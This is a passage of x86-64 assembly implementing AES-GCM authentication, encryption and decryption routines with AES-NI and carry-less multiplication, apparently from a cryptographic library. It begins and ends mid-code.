%xmm4, %xmm2 pxor %xmm15, %xmm2 movdqa %xmm2, %xmm4 pslldq $(8), %xmm4 psrldq $(8), %xmm2 pxor %xmm4, %xmm0 pxor %xmm2, %xmm3 movdqa %xmm0, %xmm4 psrlq $(5), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm4, %xmm0 pxor %xmm3, %xmm0 sub $(16), %rdx jnz .Lauth_loopgas_3 pshufb SHUF_CONST(%rip), %xmm0 movdqa %xmm0, (%rdi) ret .Lfe3: .size AesGcmAuth_avx, .Lfe3-(AesGcmAuth_avx) .p2align 4, 0x90 .globl AesGcmEnc_avx .type AesGcmEnc_avx, @function AesGcmEnc_avx: push %rbx sub $(128), %rsp mov (152)(%rsp), %rax mov (160)(%rsp), %rbx mov (144)(%rsp), %rcx movdqa SHUF_CONST(%rip), %xmm4 movdqu (%rax), %xmm0 movdqu (%rbx), %xmm1 movdqu (%rcx), %xmm2 pshufb %xmm4, %xmm0 movdqa %xmm0, (%rsp) movdqa %xmm1, (16)(%rsp) pshufb %xmm4, %xmm2 pxor %xmm1, %xmm1 movdqa %xmm2, (32)(%rsp) movdqa %xmm1, (48)(%rsp) movdqa %xmm1, (64)(%rsp) movdqa %xmm1, (80)(%rsp) mov (168)(%rsp), %rbx movdqa (32)(%rbx), %xmm10 pshufd $(78), %xmm10, %xmm9 pxor %xmm10, %xmm9 movdqa %xmm9, (96)(%rsp) movslq %edx, %rdx mov %r9, %rcx mov %rdx, %rax and $(63), %rax and $(-64), %rdx jz .Lsingle_block_procgas_4 .p2align 4, 0x90 .Lblks4_loopgas_4: movdqa INC_1(%rip), %xmm6 movdqa SHUF_CONST(%rip), %xmm5 movdqa %xmm0, %xmm1 paddd %xmm6, %xmm1 movdqa %xmm1, %xmm2 paddd %xmm6, %xmm2 movdqa %xmm2, %xmm3 paddd %xmm6, %xmm3 movdqa %xmm3, %xmm4 paddd %xmm6, %xmm4 movdqa %xmm4, (%rsp) movdqa (%rcx), %xmm0 mov %rcx, %r10 pshufb %xmm5, %xmm1 pshufb %xmm5, %xmm2 pshufb %xmm5, %xmm3 pshufb %xmm5, %xmm4 pxor %xmm0, %xmm1 pxor %xmm0, %xmm2 pxor %xmm0, %xmm3 pxor %xmm0, %xmm4 movdqa (16)(%r10), %xmm0 add $(16), %r10 mov %r8d, %r11d sub $(1), %r11 .p2align 4, 0x90 .Lcipher4_loopgas_4: aesenc %xmm0, %xmm1 aesenc %xmm0, %xmm2 aesenc %xmm0, %xmm3 aesenc %xmm0, %xmm4 movdqa (16)(%r10), %xmm0 add $(16), %r10 dec %r11 jnz .Lcipher4_loopgas_4 aesenclast %xmm0, %xmm1 aesenclast %xmm0, %xmm2 aesenclast %xmm0, %xmm3 aesenclast %xmm0, %xmm4 movdqa (16)(%rsp), %xmm0 movdqa %xmm4, (16)(%rsp) movdqu (%rsi), %xmm4 movdqu (16)(%rsi), %xmm5 movdqu (32)(%rsi), %xmm6 movdqu (48)(%rsi), %xmm7 add $(64), %rsi pxor %xmm4, %xmm0 movdqu %xmm0, (%rdi) pshufb SHUF_CONST(%rip), %xmm0 pxor (32)(%rsp), %xmm0 pxor %xmm5, %xmm1 movdqu %xmm1, (16)(%rdi) pshufb SHUF_CONST(%rip), %xmm1 pxor (48)(%rsp), %xmm1 pxor %xmm6, %xmm2 movdqu %xmm2, (32)(%rdi) pshufb SHUF_CONST(%rip), %xmm2 pxor (64)(%rsp), %xmm2 pxor %xmm7, %xmm3 movdqu %xmm3, (48)(%rdi) pshufb SHUF_CONST(%rip), %xmm3 pxor (80)(%rsp), %xmm3 add $(64), %rdi cmp $(64), %rdx je .Lcombine_hashgas_4 movdqa MASK1(%rip), %xmm14 pshufd $(78), %xmm0, %xmm6 movdqa %xmm0, %xmm5 pxor %xmm0, %xmm6 pclmulqdq $(0), %xmm10, %xmm0 pshufd $(78), %xmm1, %xmm13 movdqa %xmm1, %xmm12 pxor %xmm1, %xmm13 pclmulqdq $(17), %xmm10, %xmm5 pclmulqdq $(0), %xmm9, %xmm6 pxor %xmm0, %xmm6 pxor %xmm5, %xmm6 pshufd $(78), %xmm6, %xmm4 movdqa %xmm4, %xmm6 pand MASK2(%rip), %xmm4 pand %xmm14, %xmm6 pxor %xmm4, %xmm0 pxor %xmm6, %xmm5 movdqa %xmm0, %xmm4 psllq $(1), %xmm0 pclmulqdq $(0), %xmm10, %xmm1 pxor %xmm4, %xmm0 psllq $(5), %xmm0 pxor %xmm4, %xmm0 psllq $(57), %xmm0 pshufd $(78), %xmm0, %xmm6 movdqa %xmm6, %xmm0 pclmulqdq $(17), %xmm10, %xmm12 pand %xmm14, %xmm6 pand MASK2(%rip), %xmm0 pxor %xmm4, %xmm0 pxor %xmm6, %xmm5 movdqa %xmm0, %xmm6 psrlq $(5), %xmm0 pclmulqdq $(0), %xmm9, %xmm13 pxor %xmm6, %xmm0 psrlq $(1), %xmm0 pxor %xmm6, %xmm0 psrlq $(1), %xmm0 pxor %xmm6, %xmm0 pxor %xmm5, %xmm0 pxor %xmm1, %xmm13 pxor %xmm12, %xmm13 pshufd $(78), %xmm13, %xmm11 movdqa %xmm11, %xmm13 pand MASK2(%rip), %xmm11 pand %xmm14, %xmm13 pxor %xmm11, %xmm1 pxor %xmm13, %xmm12 movdqa %xmm1, %xmm11 movdqa %xmm1, %xmm13 movdqa %xmm1, %xmm15 psllq $(63), %xmm11 psllq $(62), %xmm13 psllq $(57), %xmm15 pxor %xmm13, %xmm11 pxor %xmm15, %xmm11 movdqa %xmm11, %xmm13 pslldq $(8), %xmm13 psrldq $(8), %xmm11 pxor %xmm13, %xmm1 pxor %xmm11, %xmm12 movdqa %xmm1, %xmm13 psrlq $(5), %xmm13 pxor %xmm1, %xmm13 psrlq $(1), %xmm13 pxor %xmm1, %xmm13 psrlq $(1), %xmm13 pxor %xmm13, %xmm1 pxor %xmm12, %xmm1 pshufd $(78), %xmm2, %xmm6 movdqa %xmm2, %xmm5 pxor %xmm2, %xmm6 pclmulqdq $(0), %xmm10, %xmm2 pshufd $(78), %xmm3, %xmm13 movdqa %xmm3, %xmm12 pxor %xmm3, %xmm13 pclmulqdq $(17), %xmm10, %xmm5 pclmulqdq $(0), %xmm9, %xmm6 pxor %xmm2, %xmm6 pxor %xmm5, %xmm6 pshufd $(78), %xmm6, %xmm4 movdqa %xmm4, %xmm6 pand MASK2(%rip), %xmm4 pand %xmm14, %xmm6 pxor %xmm4, %xmm2 pxor %xmm6, %xmm5 movdqa %xmm2, %xmm4 psllq $(1), %xmm2 pclmulqdq $(0), %xmm10, %xmm3 pxor %xmm4, %xmm2 psllq $(5), %xmm2 pxor %xmm4, %xmm2 psllq $(57), %xmm2 pshufd $(78), %xmm2, %xmm6 movdqa %xmm6, %xmm2 pclmulqdq $(17), %xmm10, %xmm12 pand %xmm14, %xmm6 pand MASK2(%rip), %xmm2 pxor %xmm4, %xmm2 pxor %xmm6, %xmm5 movdqa %xmm2, %xmm6 psrlq $(5), %xmm2 pclmulqdq $(0), %xmm9, %xmm13 pxor %xmm6, %xmm2 psrlq $(1), %xmm2 pxor %xmm6, %xmm2 psrlq $(1), %xmm2 pxor %xmm6, %xmm2 pxor %xmm5, %xmm2 pxor %xmm3, %xmm13 pxor %xmm12, %xmm13 pshufd $(78), %xmm13, %xmm11 movdqa %xmm11, %xmm13 pand MASK2(%rip), %xmm11 pand %xmm14, %xmm13 pxor %xmm11, %xmm3 pxor %xmm13, %xmm12 movdqa %xmm3, %xmm11 movdqa %xmm3, %xmm13 movdqa %xmm3, %xmm15 psllq $(63), %xmm11 psllq $(62), %xmm13 psllq $(57), %xmm15 pxor %xmm13, %xmm11 pxor %xmm15, %xmm11 movdqa %xmm11, %xmm13 pslldq $(8), %xmm13 psrldq $(8), %xmm11 pxor %xmm13, %xmm3 pxor %xmm11, %xmm12 movdqa %xmm3, %xmm13 psrlq $(5), %xmm13 pxor %xmm3, %xmm13 psrlq $(1), %xmm13 pxor %xmm3, %xmm13 psrlq $(1), %xmm13 pxor %xmm13, %xmm3 pxor %xmm12, %xmm3 movdqa %xmm0, (32)(%rsp) movdqa %xmm1, (48)(%rsp) movdqa %xmm2, (64)(%rsp) movdqa %xmm3, (80)(%rsp) sub $(64), %rdx movdqa (%rsp), %xmm0 cmp $(64), %rdx jge .Lblks4_loopgas_4 .Lcombine_hashgas_4: movdqa (%rbx), %xmm8 movdqa (16)(%rbx), %xmm9 pshufd $(78), %xmm0, %xmm5 pshufd $(78), %xmm10, %xmm6 pxor %xmm0, %xmm5 pxor %xmm10, %xmm6 pclmulqdq $(0), %xmm6, %xmm5 movdqa %xmm0, %xmm4 pclmulqdq $(0), %xmm10, %xmm0 pxor %xmm6, %xmm6 pclmulqdq $(17), %xmm10, %xmm4 pxor %xmm0, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm6 pslldq $(8), %xmm5 pxor %xmm6, %xmm4 pxor %xmm5, %xmm0 movdqa %xmm0, %xmm6 movdqa %xmm0, %xmm5 movdqa %xmm0, %xmm15 psllq $(63), %xmm6 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm6 pxor %xmm15, %xmm6 movdqa %xmm6, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm6 pxor %xmm5, %xmm0 pxor %xmm6, %xmm4 movdqa %xmm0, %xmm5 psrlq $(5), %xmm5 pxor %xmm0, %xmm5 psrlq $(1), %xmm5 pxor %xmm0, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm0 pxor %xmm4, %xmm0 pshufd $(78), %xmm1, %xmm5 pshufd $(78), %xmm9, %xmm6 pxor %xmm1, %xmm5 pxor %xmm9, %xmm6 pclmulqdq $(0), %xmm6, %xmm5 movdqa %xmm1, %xmm4 pclmulqdq $(0), %xmm9, %xmm1 pxor %xmm6, %xmm6 pclmulqdq $(17), %xmm9, %xmm4 pxor %xmm1, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm6 pslldq $(8), %xmm5 pxor %xmm6, %xmm4 pxor %xmm5, %xmm1 movdqa %xmm1, %xmm6 movdqa %xmm1, %xmm5 movdqa %xmm1, %xmm15 psllq $(63), %xmm6 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm6 pxor %xmm15, %xmm6 movdqa %xmm6, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm6 pxor %xmm5, %xmm1 pxor %xmm6, %xmm4 movdqa %xmm1, %xmm5 psrlq $(5), %xmm5 pxor %xmm1, %xmm5 psrlq $(1), %xmm5 pxor %xmm1, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm1 pxor %xmm4, %xmm1 pshufd $(78), %xmm2, %xmm5 pshufd $(78), %xmm8, %xmm6 pxor %xmm2, %xmm5 pxor %xmm8, %xmm6 pclmulqdq $(0), %xmm6, %xmm5 movdqa %xmm2, %xmm4 pclmulqdq $(0), %xmm8, %xmm2 pxor %xmm6, %xmm6 pclmulqdq $(17), %xmm8, %xmm4 pxor %xmm2, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm6 pslldq $(8), %xmm5 pxor %xmm6, %xmm4 pxor %xmm5, %xmm2 movdqa %xmm2, %xmm6 movdqa %xmm2, %xmm5 movdqa %xmm2, %xmm15 psllq $(63), %xmm6 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm6 pxor %xmm15, %xmm6 movdqa %xmm6, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm6 pxor %xmm5, %xmm2 pxor %xmm6, %xmm4 movdqa %xmm2, %xmm5 psrlq $(5), %xmm5 pxor %xmm2, %xmm5 psrlq $(1), %xmm5 pxor %xmm2, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm2 pxor %xmm4, %xmm2 pxor %xmm1, %xmm3 pxor %xmm2, %xmm3 pshufd $(78), %xmm3, %xmm5 pshufd $(78), %xmm8, %xmm6 pxor %xmm3, %xmm5 pxor %xmm8, %xmm6 pclmulqdq $(0), %xmm6, %xmm5 movdqa %xmm3, %xmm4 pclmulqdq $(0), %xmm8, %xmm3 pxor %xmm6, %xmm6 pclmulqdq $(17), %xmm8, %xmm4 pxor %xmm3, %xmm5 pxor %xmm4, %xmm5 palignr $(8), %xmm5, %xmm6 pslldq $(8), %xmm5 pxor %xmm6, %xmm4 pxor %xmm5, %xmm3 movdqa %xmm3, %xmm6 movdqa %xmm3, %xmm5 movdqa %xmm3, %xmm15 psllq $(63), %xmm6 psllq $(62), %xmm5 psllq $(57), %xmm15 pxor %xmm5, %xmm6 pxor %xmm15, %xmm6 movdqa %xmm6, %xmm5 pslldq $(8), %xmm5 psrldq $(8), %xmm6 pxor %xmm5, %xmm3 pxor %xmm6, %xmm4 movdqa %xmm3, %xmm5 psrlq $(5), %xmm5 pxor %xmm3, %xmm5 psrlq $(1), %xmm5 pxor %xmm3, %xmm5 psrlq $(1), %xmm5 pxor %xmm5, %xmm3 pxor %xmm4, %xmm3 pxor %xmm0, %xmm3 movdqa %xmm3, (32)(%rsp) .Lsingle_block_procgas_4: test %rax, %rax jz .Lquitgas_4 .p2align 4, 0x90 .Lblk_loopgas_4: movdqa (%rsp), %xmm0 movdqa %xmm0, %xmm1 paddd INC_1(%rip), %xmm1 movdqa %xmm1, (%rsp) movdqa (%rcx), %xmm0 mov %rcx, %r10 pshufb SHUF_CONST(%rip), %xmm1 pxor %xmm0, %xmm1 movdqa (16)(%r10), %xmm0 add $(16), %r10 mov %r8d, %r11d sub $(1), %r11 .p2align 4, 0x90 .Lcipher_loopgas_4: aesenc %xmm0, %xmm1 movdqa (16)(%r10), %xmm0 add $(16), %r10 dec %r11 jnz .Lcipher_loopgas_4 aesenclast %xmm0, %xmm1 movdqa (16)(%rsp), %xmm0 movdqa %xmm1, (16)(%rsp) movdqu (%rsi), %xmm1 add $(16), %rsi pxor %xmm1, %xmm0 movdqu %xmm0, (%rdi) add $(16), %rdi pshufb SHUF_CONST(%rip), %xmm0 pxor (32)(%rsp), %xmm0 movdqa (%rbx), %xmm1 pshufd $(78), %xmm0, %xmm4 pshufd $(78), %xmm1, %xmm2 pxor %xmm0, %xmm4 pxor %xmm1, %xmm2 pclmulqdq $(0), %xmm2, %xmm4 movdqa %xmm0, %xmm3 pclmulqdq $(0), %xmm1, %xmm0 pxor %xmm2, %xmm2 pclmulqdq $(17), %xmm1, %xmm3 pxor %xmm0, %xmm4 pxor %xmm3, %xmm4 palignr $(8), %xmm4, %xmm2 pslldq $(8), %xmm4 pxor %xmm2, %xmm3 pxor %xmm4, %xmm0 movdqa %xmm0, %xmm2 movdqa %xmm0, %xmm4 movdqa %xmm0, %xmm15 psllq $(63), %xmm2 psllq $(62), %xmm4 psllq $(57), %xmm15 pxor %xmm4, %xmm2 pxor %xmm15, %xmm2 movdqa %xmm2, %xmm4 pslldq $(8), %xmm4 psrldq $(8), %xmm2 pxor %xmm4, %xmm0 pxor %xmm2, %xmm3 movdqa %xmm0, %xmm4 psrlq $(5), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm0, %xmm4 psrlq $(1), %xmm4 pxor %xmm4, %xmm0 pxor %xmm3, %xmm0 movdqa %xmm0, (32)(%rsp) sub $(16), %rax jg .Lblk_loopgas_4 .Lquitgas_4: movdqa (%rsp), %xmm0 movdqa (16)(%rsp), %xmm1 movdqa (32)(%rsp), %xmm2 mov (152)(%rsp), %rax mov (160)(%rsp), %rbx mov (144)(%rsp), %rcx pshufb SHUF_CONST(%rip), %xmm0 movdqu %xmm0, (%rax) movdqu %xmm1, (%rbx) pshufb SHUF_CONST(%rip), %xmm2 movdqu %xmm2, (%rcx) add $(128), %rsp pop %rbx ret .Lfe4: .size AesGcmEnc_avx, .Lfe4-(AesGcmEnc_avx) .p2align 4, 0x90 .globl AesGcmDec_avx .type AesGcmDec_avx, @function AesGcmDec_avx: push %rbx sub $(128), %rsp mov (152)(%rsp), %rax mov (160)(%rsp), %rbx mov (144)(%rsp), %rcx movdqa SHUF_CONST(%rip), %xmm4 movdqu (%rax), %xmm0 movdqu (%rbx), %xmm1 movdqu (%rcx), %xmm2 pshufb %xmm4, %xmm0 movdqa %xmm0, (%rsp) movdqa %xmm1, (16)(%rsp) pshufb %xmm4, %xmm2 pxor %xmm1, %xmm1 movdqa %xmm2, (32)(%rsp) movdqa %xmm1, (48)(%rsp) movdqa %xmm1, (64)(%rsp) movdqa %xmm1, (80)(%rsp) mov (168)(%rsp), %rbx movdqa (32)(%rbx), %xmm10 pshufd $(78), %xmm10, %xmm9 pxor %xmm10, %xmm9 movdqa %xmm9, (96)(%rsp) movslq %edx, %rdx mov %r9, %rcx mov %rdx, %rax and $(63), %rax and $(-64), %rdx jz .Lsingle_block_procgas_5 .p2align 4, 0x90 .Lblks4_loopgas_5: movdqa INC_1(%rip), %xmm6 movdqa SHUF_CONST(%rip), %xmm5 movdqa %xmm0, %xmm1 paddd INC_1(%rip), %xmm1 movdqa %xmm1, %xmm2 paddd INC_1(%rip), %xmm2 movdqa %xmm2, %xmm3 paddd INC_1(%rip), %xmm3 movdqa %xmm3, %xmm4 paddd INC_1(%rip), %xmm4 movdqa %xmm4, (%rsp) movdqa (%rcx), %xmm0 mov %rcx, %r10 pshufb %xmm5, %xmm1 pshufb %xmm5, %xmm2 pshufb %xmm5, %xmm3 pshufb %xmm5, %xmm4 pxor %xmm0, %xmm1 pxor %xmm0, %xmm2 pxor %xmm0, %xmm3 pxor %xmm0, %xmm4 movdqa (16)(%r10), %xmm0 add $(16), %r10 mov %r8d, %r11d sub $(1), %r11 .p2align 4, 0x90 .Lcipher4_loopgas_5: aesenc %xmm0, %xmm1 aesenc %xmm0, %xmm2 aesenc %xmm0, %xmm3 aesenc %xmm0, %xmm4 movdqa (16)(%r10), %xmm0 add $(16), %r10 dec %r11 jnz .Lcipher4_loopgas_5 aesenclast %xmm0, %xmm1 aesenclast %xmm0, %xmm2 aesenclast %xmm0, %xmm3 aesenclast %xmm0, %xmm4 movdqa (16)(%rsp), %xmm0 movdqa %xmm4, (16)(%rsp) movdqu (%rsi), %xmm4 movdqu (16)(%rsi), %xmm5 movdqu (32)(%rsi), %xmm6 movdqu (48)(%rsi), %xmm7 add $(64), %rsi pxor %xmm4, %xmm0 movdqu %xmm0, (%rdi) pshufb SHUF_CONST(%rip), %xmm4 pxor (32)(%rsp), %xmm4 pxor %xmm5, %xmm1 movdqu %xmm1, (16)(%rdi) pshufb SHUF_CONST(%rip), %xmm5 pxor (48)(%rsp), %xmm5 pxor %xmm6, %xmm2 movdqu %xmm2, (32)(%rdi) pshufb SHUF_CONST(%rip), %xmm6 pxor (64)(%rsp), %xmm6 pxor %xmm7, %xmm3 movdqu %xmm3, (48)(%rdi) pshufb SHUF_CONST(%rip), %xmm7 pxor (80)(%rsp), %xmm7 add $(64), %rdi cmp $(64), %rdx je .Lcombine_hashgas_5 movdqa MASK1(%rip), %xmm14 pshufd $(78), %xmm4, %xmm2 movdqa %xmm4, %xmm1 pxor %xmm4, %xmm2 pclmulqdq $(0), %xmm10, %xmm4 pshufd $(78), %xmm5, %xmm13 movdqa %xmm5, %xmm12 pxor %xmm5, %xmm13 pclmulqdq $(17), %xmm10, %xmm1 pclmulqdq $(0), %xmm9, %xmm2 pxor %xmm4, %xmm2 pxor %xmm1, %xmm2 pshufd $(78), %xmm2, %xmm0 movdqa %xmm0, %xmm2 pand MASK2(%rip), %xmm0 pand %xmm14, %xmm2 pxor %xmm0, %xmm4 pxor %xmm2, %xmm1 movdqa %xmm4, %xmm0 psllq $(1), %xmm4 pclmulqdq $(0), %xmm10, %xmm5 pxor %xmm0, %xmm4 psllq $(5), %xmm4 pxor %xmm0, %xmm4 psllq $(57), %xmm4 pshufd $(78), %xmm4, %xmm2 movdqa %xmm2, %xmm4 pclmulqdq $(17), %xmm10, %xmm12 pand %xmm14, %xmm2 pand MASK2(%rip), %xmm4 pxor %xmm0, %xmm4 pxor %xmm2, %xmm1 movdqa %xmm4, %xmm2 psrlq $(5), %xmm4 pclmulqdq $(0), %xmm9, %xmm13 pxor %xmm2, %xmm4 psrlq $(1), %xmm4 pxor %xmm2, %xmm4 psrlq $(1), %xmm4 pxor %xmm2, %xmm4 pxor %xmm1, %xmm4 pxor %xmm5, %xmm13 pxor %xmm12, %xmm13 pshufd $(78), %xmm13, %xmm11 movdqa %xmm11, %xmm13 pand MASK2(%rip), %xmm11 pand %xmm14, %xmm13 pxor %xmm11, %xmm5 pxor %xmm13, %xmm12 movdqa %xmm5, %xmm11 movdqa %xmm5, %xmm13 movdqa %xmm5, %xmm15 psllq $(63), %xmm11 psllq $(62), %xmm13 psllq $(57), %xmm15 pxor %xmm13, %xmm11 pxor %xmm15, %xmm11 movdqa %xmm11, %xmm13 pslldq $(8), %xmm13 psrldq $(8), %xmm11 pxor %xmm13, %xmm5 pxor %xmm11, %xmm12 movdqa %xmm5, %xmm13 psrlq $(5), %xmm13 pxor %xmm5, %xmm13 psrlq $(1), %xmm13 pxor %xmm5, %xmm13 psrlq $(1), %xmm13 pxor %xmm13, %xmm5 pxor %xmm12, %xmm5 pshufd $(78), %xmm6, %xmm2 movdqa %xmm6, %xmm1 pxor %xmm6, %xmm2 pclmulqdq $(0), %xmm10, %xmm6 pshufd $(78), %xmm7, %xmm13 movdqa %xmm7, %xmm12 pxor %xmm7, %xmm13 pclmulqdq $(17), %xmm10, %xmm1 pclmulqdq $(0), %xmm9, %xmm2 pxor %xmm6, %xmm2 pxor %xmm1, %xmm2 pshufd $(78), %xmm2, %xmm0 movdqa %xmm0, %xmm2 pand MASK2(%rip), %xmm0 pand %xmm14, %xmm2 pxor %xmm0, %xmm6 pxor %xmm2, %xmm1 movdqa %xmm6, %xmm0 psllq $(1), %xmm6 pclmulqdq $(0), %xmm10, %xmm7 pxor %xmm0, %xmm6 psllq $(5), %xmm6 pxor %xmm0, %xmm6 psllq $(57), %xmm6 pshufd $(78), %xmm6, %xmm2 movdqa %xmm2, %xmm6 pclmulqdq $(17), %xmm10, %xmm12 pand %xmm14, %xmm2 pand MASK2(%rip), %xmm6 pxor %xmm0, %xmm6 pxor %xmm2, %xmm1 movdqa %xmm6, %xmm2 psrlq $(5), %xmm6 pclmulqdq $(0), %xmm9, %xmm13 pxor %xmm2, %xmm6 psrlq $(1), %xmm6 pxor %xmm2, %xmm6 psrlq $(1), %xmm6 pxor %xmm2, %xmm6 pxor %xmm1, %xmm6 pxor %xmm7, %xmm13 pxor %xmm12, %xmm13 pshufd $(78), %xmm13, %xmm11 movdqa %xmm11, %xmm13 pand MASK2(%rip), %xmm11 pand %xmm14, %xmm13 pxor %xmm11, %xmm7 pxor %xmm13, %xmm12 movdqa %xmm7, %xmm11 movdqa %xmm7, %xmm13 movdqa %xmm7, %xmm15 psllq $(63), %xmm11 psllq $(62), %xmm13 psllq $(57), %xmm15 pxor %xmm13, %xmm11 pxor %xmm15, %xmm11 movdqa %xmm11, %xmm13 pslldq $(8), %xmm13 psrldq $(8), %xmm11 pxor %xmm13, %xmm7 pxor %xmm11, %xmm12 movdqa %xmm7, %xmm13 psrlq $(5), %xmm13 pxor %xmm7, %xmm13 psrlq $(1), %xmm13 pxor %xmm7, %xmm13 psrlq $(1), %xmm13 pxor %xmm13, %xmm7 pxor %xmm12, %xmm7 movdqa %xmm4, (32)(%rsp) movdqa %xmm5, (48)(%rsp) movdqa %xmm6, (64)(%rsp) movdqa %xmm7, (80)(%rsp) sub $(64), %rdx movdqa (%rsp), %xmm0 cmp $(64), %rdx jge .Lblks4_loopgas_5 .Lcombine_hashgas_5: movdqa (%rbx), %xmm8 movdqa (16)(%rbx), %xmm9 pshufd $(78), %xmm4, %xmm2 pshufd $(78), %xmm10, %xmm0 pxor %xmm4, %xmm2 pxor %xmm10, %xmm0 pclmulqdq $(0), %xmm0, %xmm2 movdqa %xmm4, %xmm1 pclmulqdq $(0), %xmm10, %xmm4 pxor %xmm0, %xmm0 pclmulqdq $(17), %xmm10, %xmm1 pxor %xmm4, %xmm2 pxor %xmm1, %xmm2 palignr $(8), %xmm2, %xmm0 pslldq $(8), %xmm2 pxor %xmm0, %xmm1 pxor %xmm2, %xmm4 movdqa %xmm4, %xmm0 movdqa %xmm4, %xmm2 movdqa %xmm4, %xmm15 psllq $(63), %xmm0 psllq $(62), %xmm2 psllq $(57), %xmm15 pxor %xmm2, %xmm0 pxor %xmm15, %xmm0 movdqa %xmm0, %xmm2 pslldq $(8), %xmm2 psrldq $(8), %xmm0 pxor %xmm2, %xmm4 pxor %xmm0, %xmm1 movdqa %xmm4, %xmm2 psrlq $(5), %xmm2 pxor %xmm4, %xmm2 psrlq $(1), %xmm2 pxor %xmm4, %xmm2 psrlq $(1), %xmm2 pxor %xmm2, %xmm4 pxor %xmm1, %xmm4 pshufd $(78), %xmm5, %xmm2 pshufd $(78), %xmm9, %xmm0 pxor %xmm5, %xmm2 pxor %xmm9, %xmm0 pclmulqdq $(0), %xmm0, %xmm2 movdqa %xmm5, %xmm1 pclmulqdq $(0), %xmm9, %xmm5 pxor %xmm0, %xmm0 pclmulqdq $(17), %xmm9, %xmm1 pxor %xmm5, %xmm2 pxor %xmm1, %xmm2 palignr $(8), %xmm2, %xmm0 pslldq $(8), %xmm2 pxor %xmm0, %xmm1 pxor %xmm2, %xmm5 movdqa %xmm5, %xmm0 movdqa %xmm5, %xmm2 movdqa %xmm5, %xmm15 psllq $(63), %xmm0 psllq $(62), %xmm2 psllq $(57), %xmm15 pxor %xmm2, %xmm0 pxor %xmm15, %xmm0 movdqa %xmm0, %xmm2 pslldq $(8), %xmm2 psrldq $(8), %xmm0 pxor %xmm2, %xmm5 pxor %xmm0, %xmm1 movdqa %xmm5, %xmm2 psrlq $(5), %xmm2 pxor %xmm5, %xmm2 psrlq $(1), %xmm2 pxor %xmm5, %xmm2 psrlq $(1), %xmm2 pxor %xmm2, %xmm5 pxor %xmm1, %xmm5 pshufd $(78), %xmm6, %xmm2 pshufd $(78), %xmm8, %xmm0 pxor %xmm6, %xmm2 pxor %xmm8, %xmm0 pclmulqdq $(0), %xmm0, %xmm2 movdqa %xmm6, %xmm1 pclmulqdq $(0), %xmm8, %xmm6 pxor %xmm0, %xmm0 pclmulqdq $(17), %xmm8, %xmm1 pxor %xmm6, %xmm2 pxor %xmm1, %xmm2 palignr $(8), %xmm2, %xmm0 pslldq $(8), %xmm2 pxor %xmm0, %xmm1 pxor %xmm2, %xmm6 movdqa %xmm6, %xmm0 movdqa %xmm6, %xmm2 movdqa %xmm6, %xmm15 psllq $(63), %xmm0 psllq $(62), %xmm2 psllq $(57), %xmm15 pxor %xmm2, %xmm0 pxor %xmm15, %xmm0 movdqa %xmm0, %xmm2 pslldq $(8), %xmm2 psrldq $(8), %xmm0 pxor %xmm2, %xmm6 pxor %xmm0, %xmm1 movdqa %xmm6, %xmm2 psrlq $(5), %xmm2 pxor %xmm6, %xmm2 psrlq $(1), %xmm2 pxor %xmm6, %xmm2 psrlq $(1), %xmm2 pxor %xmm2, %xmm6 pxor %xmm1, %xmm6 pxor %xmm5, %xmm7 pxor %xmm6, %xmm7 pshufd $(78), %xmm7, %xmm2 pshufd $(78), %xmm8, %xmm0 pxor %xmm7, %xmm2 pxor %xmm8, %xmm0 pclmulqdq $(0), %xmm0, %xmm2 movdqa %xmm7, %xmm1 pclmulqdq $(0), %xmm8, %xmm7 pxor %xmm0, %xmm0 pclmulqdq $(17), %xmm8, %xmm1 pxor %xmm7, %xmm2 pxor %xmm1, %xmm2 palignr $(8), %xmm2, %xmm0 pslldq $(8), %xmm2 pxor %xmm0, %xmm1 pxor %xmm2, %xmm7 movdqa %xmm7, %xmm0 movdqa %xmm7, %xmm2 movdqa %xmm7, %xmm15 psllq $(63), %xmm0 psllq $(62), %xmm2 psllq $(57), %xmm15 pxor %xmm2, %xmm0 pxor %xmm15, %xmm0 movdqa %xmm0, %xmm2 pslldq $(8), %xmm2 psrldq $(8), %xmm0 pxor %xmm2, %xmm7 pxor %xmm0, %xmm1 movdqa %xmm7, %xmm2 psrlq $(5), %xmm2 pxor %xmm7, %xmm2 psrlq $(1), %xmm2 pxor %xmm7, %xmm2 psrlq $(1), %xmm2 pxor %xmm2, %xmm7 pxor %xmm1, %xmm7 pxor %xmm4, %xmm7 movdqa %xmm7, (32)(%rsp) .Lsingle_block_procgas_5: test %rax, %rax jz .Lquitgas_5 .p2align 4, 0x90 .Lblk_loopgas_5: movdqa (%rsp), %xmm0 movdqa %xmm0, %xmm1 paddd INC_1(%rip), %xmm1 movdqa %xmm1, (%rsp) movdqa (%rcx), %xmm0 mov %rcx, %r10 pshufb SHUF_CONST(%rip), %xmm1 pxor %xmm0, %xmm1 movdqa (16)(%r10), %xmm0 add $(16), %r10 mov %r8d, %r11d sub $(1), %r11 .p2align 4, 0x90 .Lcipher_loopgas_5: aesenc %xmm0, %xmm1 movdqa (16)(%r10), %xmm0 add $(16), %r10 dec %r11 jnz .Lcipher_loopgas_5 aesenclast %xmm0, %xmm1 movdqa (16)(%rsp), %xmm0 movdqa %xmm1, (16)(%rsp) movdqu (%rsi), %xmm1 add $(16), %rsi pxor %xmm1, %xmm0 movdqu %xmm0, (%rdi) add $(16), %rdi pshufb SHUF_CONST(%rip), %xmm1 pxor (32)(%rsp), %xmm1 movdqa (%rbx), %xmm0 pshufd $(78), %xmm1, %xmm4 pshufd $(78), %xmm0, %xmm2 pxor %xmm1, %xmm4 pxor %xmm0, %xmm2 pclmulqdq $(0), %xmm2, %xmm4 movdqa %xmm1, %xmm3 pclmulqdq $(0), %xmm0, %xmm1 pxor 